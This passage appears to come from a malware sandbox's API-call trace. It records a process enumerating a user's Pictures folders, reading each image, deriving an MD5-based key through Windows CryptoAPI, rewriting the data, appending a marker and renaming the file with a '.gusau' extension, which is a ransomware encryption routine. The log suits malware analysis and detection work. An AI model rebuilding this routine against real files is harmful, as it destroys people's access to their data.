ftCreationTime.dwLowDateTime=0x35e8cf80, ftCreationTime.dwHighDateTime=0x1d4d009, ftLastAccessTime.dwLowDateTime=0x57d34db0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0x57d34db0, ftLastWriteTime.dwHighDateTime=0x1d4d305, nFileSizeHigh=0x0, nFileSizeLow=0x18504, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zusq yA8dO-j.gif", cAlternateFileName="ZUSQYA~1.GIF")) returned 1 [0118.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.670] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0xdcc590 [0118.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.670] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\Zusq yA8dO-j.gif") returned=".gif" [0118.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\Zusq yA8dO-j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\zusq ya8do-j.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.670] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=99588) returned 1 [0118.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.672] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x184de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.672] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.674] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.674] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.674] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.674] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x18504, lpOverlapped=0x0) returned 1 [0118.675] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.675] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.675] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.675] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.675] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.676] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.676] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.676] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.676] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.676] GetLastError () returned 0x0 [0118.676] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.676] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18500) returned 0x39f9f20 [0118.676] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.676] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x184ff, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x184ff, lpOverlapped=0x0) returned 1 [0118.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.677] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.677] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.677] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.677] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.677] CloseHandle (hObject=0x610) returned 1 [0118.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0118.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.678] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\Zusq yA8dO-j.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\zusq ya8do-j.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\Zusq yA8dO-j.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\zusq ya8do-j.gif.gusau")) returned 1 [0118.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.679] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.680] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35e8cf80, ftCreationTime.dwHighDateTime=0x1d4d009, ftLastAccessTime.dwLowDateTime=0x57d34db0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0x57d34db0, ftLastWriteTime.dwHighDateTime=0x1d4d305, nFileSizeHigh=0x0, nFileSizeLow=0x18504, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zusq yA8dO-j.gif", cAlternateFileName="ZUSQYA~1.GIF")) returned 0 [0118.680] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.680] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0118.680] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\") returned="NSqsuqL\\" [0118.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\") returned="NYC5ngf\\" [0118.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.684] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.684] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.684] PathFindFileNameW (pszPath="") returned="" [0118.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204d8070, ftCreationTime.dwHighDateTime=0x1d4d2e9, ftLastAccessTime.dwLowDateTime=0x9f44feb0, ftLastAccessTime.dwHighDateTime=0x1d4d561, ftLastWriteTime.dwLowDateTime=0x9f44feb0, ftLastWriteTime.dwHighDateTime=0x1d4d561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.685] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x204d8070, ftCreationTime.dwHighDateTime=0x1d4d2e9, ftLastAccessTime.dwLowDateTime=0x9f44feb0, ftLastAccessTime.dwHighDateTime=0x1d4d561, ftLastWriteTime.dwLowDateTime=0x9f44feb0, ftLastWriteTime.dwHighDateTime=0x1d4d561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.685] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c203a50, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0x499e6f50, ftLastAccessTime.dwHighDateTime=0x1d4c72e, ftLastWriteTime.dwLowDateTime=0x499e6f50, ftLastWriteTime.dwHighDateTime=0x1d4c72e, nFileSizeHigh=0x0, nFileSizeLow=0xb408, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3CYFm.jpg", cAlternateFileName="")) returned 1 [0118.685] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\3CYFm.jpg") returned=".jpg" [0118.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\3CYFm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\3cyfm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.686] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=46088) returned 1 [0118.686] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.688] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb3e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.688] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.689] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xb408, lpOverlapped=0x0) returned 1 [0118.690] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.690] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.690] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.690] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.691] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.691] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.691] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.691] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.691] GetLastError () returned 0x0 [0118.691] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.691] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.691] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xb408, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.692] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.692] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.692] CloseHandle (hObject=0x610) returned 1 [0118.693] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\3CYFm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\3cyfm.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\NSqsuqL\\3CYFm.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nyc5ngf\\nsqsuql\\3cyfm.jpg.gusau")) returned 1 [0118.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.693] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0118.694] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b7ff2b0, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x433c8550, ftLastAccessTime.dwHighDateTime=0x1d4d05e, ftLastWriteTime.dwLowDateTime=0x433c8550, ftLastWriteTime.dwHighDateTime=0x1d4d05e, nFileSizeHigh=0x0, nFileSizeLow=0x297e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KZrZHmvQBeSkBOCD.jpg", cAlternateFileName="KZRZHM~1.JPG")) returned 1 